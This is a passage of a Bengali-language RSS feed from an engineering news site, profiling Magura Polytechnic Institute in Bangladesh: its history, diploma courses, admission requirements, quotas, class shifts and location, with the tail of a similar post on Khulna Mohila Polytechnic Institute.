  • প্রথম শিফটে ক্লাস হয় সকাল ৮ টা থেকে দুপুর ২ টা পর্যন্ত।
  • দ্বিতীয় শিফটে ক্লাস হয় দুপুর ২টা থেকে বিকেল ৬টা পর্যন্ত।

ছাত্র সংগঠন

  •  ক্রিয়া সংগঠন।
  • রোভার স্কাউট।

ডি ইঞ্জিনিয়ার্স নিউজ এর পোর্টালে ভিজিট করার জন্য আপনাকে অসংখ্য ধন্যবাদ। সকল আপডেট সবার আগে পেতে আমাদের নিউজ পোর্টাল ভিজিট করুন এবং ফেসবুক পেজে লাইক/ফলো দিয়ে রাখুন।

The post খুলনা মহিলা পলিটেকনিক ইনস্টিটিউট । Khulna Mohila Polytechnic Institute appeared first on theengineersnews.com.

]]>
https://theengineersnews.com/polytechnic/2676/feed/ 0
মাগুরা পলিটেকনিক ইনস্টিটিউট । Magura Polytechnic Institute https://theengineersnews.com/polytechnic/2677/ https://theengineersnews.com/polytechnic/2677/#respond Fri, 19 Nov 2021 12:58:08 +0000 https://theengineersnews.com/?p=2677 মাগুরা পলিটেকনিক ইনস্টিটিউট । Magura Polytechnic Institute,বাংলাদেশের অন্যতম  সমৃদ্ধ পলিটেকনিক প্রতিষ্ঠান। এটি একটি সরকারি পলিটেকনিক ইন্সটিটিউট। প্রতিষ্ঠানটির প্রিন্সিপল হিসেবে দায়িত্বে আছেন প্রকৌশলী মোতাহের হোসেন। প্রগতি এবং সেবা – মূলমন্ত্রের এই প্রতিষ্ঠানটিতে বর্তমানে ৬ টি টেকনোলজি তে চার বছর মেয়াদি ডিপ্লোমা ইন ইঞ্জিনিয়ারিং কোর্স চালু আছে। মাগুরা পলিটেকনিক ইনস্টিটিউট । Magura Polytechnic Institute নীতিবাক্যঃ প্রযুক্তিই প্রগতি। …

The post মাগুরা পলিটেকনিক ইনস্টিটিউট । Magura Polytechnic Institute appeared first on theengineersnews.com.

]]>
মাগুরা পলিটেকনিক ইনস্টিটিউট । Magura Polytechnic Institute,বাংলাদেশের অন্যতম  সমৃদ্ধ পলিটেকনিক প্রতিষ্ঠান। এটি একটি সরকারি পলিটেকনিক ইন্সটিটিউট। প্রতিষ্ঠানটির প্রিন্সিপল হিসেবে দায়িত্বে আছেন প্রকৌশলী মোতাহের হোসেন। প্রগতি এবং সেবা – মূলমন্ত্রের এই প্রতিষ্ঠানটিতে বর্তমানে ৬ টি টেকনোলজি তে চার বছর মেয়াদি ডিপ্লোমা ইন ইঞ্জিনিয়ারিং কোর্স চালু আছে।

মাগুরা পলিটেকনিক ইনস্টিটিউট । Magura Polytechnic Institute

নীতিবাক্যঃ প্রযুক্তিই প্রগতি
ধরনঃ সরকারি
স্থাপিতঃ ২০০৮
অধ্যক্ষঃ প্রকৌশলী মোতাহের হোসেন
শিক্ষায়তনিক ব্যক্তিবর্গঃ
শিক্ষার্থীঃ ৩০৫০+
স্নাতকঃ
অবস্থানঃ  মাগুরা, খুলনা, বাংলাদেশ
২৩.৪৮৩৩২৬° উত্তর ৮৯.৩৯৩৪৯২° পূর্ব
শিক্ষাঙ্গনঃ শহর (৪ একর)
রঙসমূহঃ সাদা
মাসকটঃ Industrial Building
ওয়েবসাইটঃ magurapoly.gov.bd

মাগুরা পলিটেকনিক ইন্সটিটিউট ইতিহাস

এই পলিটেকনিক ইন্সটিটিউট ২০০৮ সালে প্রতিষ্ঠিত হয়। প্রথম বছর মাত্র ৬০ জন ছাত্র-ছাত্রী নিয়ে রেফ্রিজারেশন অ্যান্ড এয়ার কন্ডিশনিং ইলেকট্রনিক্সের চার বছর মেয়ার্দী ডিপ্লোমা ইন ইঞ্জিনিয়ারিং কোর্স চালু হয়। ২০১০ সালে ইলেকট্রিক্যাল,ইলেকট্রনিক্সের ও কম্পিউটার টেকনোলজি ২০১৪ সালে ফুড টেকনোলজি এবং ২০১৫ সালে মেকাট্রনিক্স টেকনোলজির কোর্স চালু করা হয়।

মাগুরা পলিটেকনিক ইন্সটিটিউট অবস্থান

মাগুরা পলিটেকনিক ইন্সটিটিউট মাগুরা কেন্দ্রীয় বাস টার্মিনাল থেকে ৩.৫০ কিলোমিটার এবং ভায়না বাসস্ট্যান্ড থেকে ২.৫০ কিলোমিটার দূরে ঢাকা-ঝিনাইদহ-কুষ্টিয়া মহাসড়কের দক্ষিণ পার্শ্বে ইটখোলা বাজার নামক স্থানে অবস্থিত।

বিস্তারিত জানতে গুগোল ম্যাপে দেখুন

মাগুরা পলিটেকনিক ইনস্টিটিউটের যোগাযোগ ব্যবস্থা

যোগাযোগের ঠিকানা হল-

  • মাগুরা পলিটেকনিক ইনস্টিটিউট
  • মাগুরা, খুলনা, বাংলাদেশ
  • Website : magurapoly.gov.bd

আরো দেখুন

ঝিনাইদহ পলিটেকনিক ইনস্টিটিউট । Jhenaidah Polytechnic Institute

ডিপ্লোমা কোর্সসমূহ

বর্তমানে প্রতিষ্ঠানটিতে মোট ৬ টি বিষয়ে ডিপ্লোমা কোর্স চালু রয়েছে। এগুলো হল-

  • কম্পিউটার টেকনোলজি
  • ইলেকট্রিক্যাল টেকনোলজি
  • ইলেকট্রনিক্স টেকনোলজি
  • রেফ্রিজারেশন অ্যান্ড এয়ার কন্ডিশনিং টেকনোলজি
  • ফুড টেকনোলজি
  • মেকাট্রনিক্স টেকনোলজি

কোর্সের সময়সীমা

ডিপ্লোমা ইন ইঞ্জিনিয়ার কোর্স চার বছরে হয়ে থাকে।

এছাড়া বিভিন্ন ট্রেড কোর্স ও রয়েছে যেগুলো কারিগরী শিক্ষা বোর্ড থেকে কন্ট্রোল করা হয়। এগুলোকে শর্ট কোর্স ও বলা হয়ে থাকে।

ভর্তি যোগ্যতা

এসএসসি, দাখিল, ভোকেশনাল অথবা সমমানের পরীক্ষায় উত্তীর্ণ শিক্ষার্থীরা মাগুরা পলিটেকনিক ইনস্টিটিউট মেধা তালিকা অনুসারে ভর্তি হতে পারবে। তবে আবেদনের যোগ্যতার ক্ষেত্রে উক্ত পরীক্ষায় নূন্যতম জিপিএ ৩.৫ পেতে হবে এবং ম্যাথ, ক্যামেস্ট্রি, ফিজিক্স ও ইংরেজিতে কমপক্ষে জিপিএ ৩ থাকতে হবে। প্রতি বছর ভর্তি সংক্রান্ত নীতিমালা পরিবর্তন হয় যা BTEB ওয়েবসাইটে ভর্তির সার্কুলারে বিস্তারিত দেয়া থাকে।

কোটা

এখানে প্রতিটি ডিপার্টমেণ্টে আসন সংখ্যার ২০% মহিলা কোটা, ১৫% ভোকেশনাল এবং ৫% প্রতিবন্ধীদের জন্য সংরক্ষিত। তবে যেহেতু প্রতিষ্ঠানটি কারিগরি শিক্ষা বোর্ডের অধীনে পরিচালিত হয়, তাই এই সংক্রান্ত কোন ধরনের আপডেট সংশ্লিষ্ট ওয়েবসাইটে ভর্তির নীতিমালা সংক্রান্ত নোটিশে পাওয়া যাবে।

আরো দেখুন

সাতক্ষীরা পলিটেকনিক ইনস্টিটিউট । Satkhira Polytechnic Institute

শিক্ষা ব্যবস্থা

এখানে শিক্ষাবর্ষ আটটি সেমিস্টার নিয়ে গঠিত। একাডেমিক কোর্স পরিচালিত হয় ক্রেডিট সিস্টেমের উপর ভিত্তি করে।

খরচ

প্রতিষ্ঠানটি সরকারি হওয়ার কারনে অন্য যেকোন প্রতিষ্ঠানের তুলনায় শিক্ষার্থীদের কোর্সের খরচ তুলনামূলক অনেক কম পড়ে।

ক্লাসের সময়সূচী

মাগুরা পলিটেকনিক ইনস্টিটিউট -এ ডিপ্লোমা কোর্সের ক্লাসগুলো দুই শিফটে হয়।

  • প্রথম শিফটে ক্লাস হয় সকাল ৮ টা থেকে দুপুর ২ টা পর্যন্ত।
  • দ্বিতীয় শিফটে ক্লাস হয় দুপুর ২টা থেকে বিকেল ৬টা পর্যন্ত।

ছাত্র সংগঠন

  •  ক্রিয়া সংগঠন।
  • রোভার স্কাউট।

ডি ইঞ্জিনিয়ার্স নিউজ এর পোর্টালে ভিজিট করার জন্য আপনাকে অসংখ্য ধন্যবাদ। সকল আপডেট সবার আগে পেতে আমাদের নিউজ পোর্টাল ভিজিট করুন এবং ফেসবুক পেজে লাইক/ফলো দিয়ে রাখুন।

The post মাগুরা পলিটেকনিক ইনস্টিটিউট । Magura Polytechnic Institute appeared first on theengineersnews.com.

]]>
https://theengineersnews.com/polytechnic/2677/feed/ 0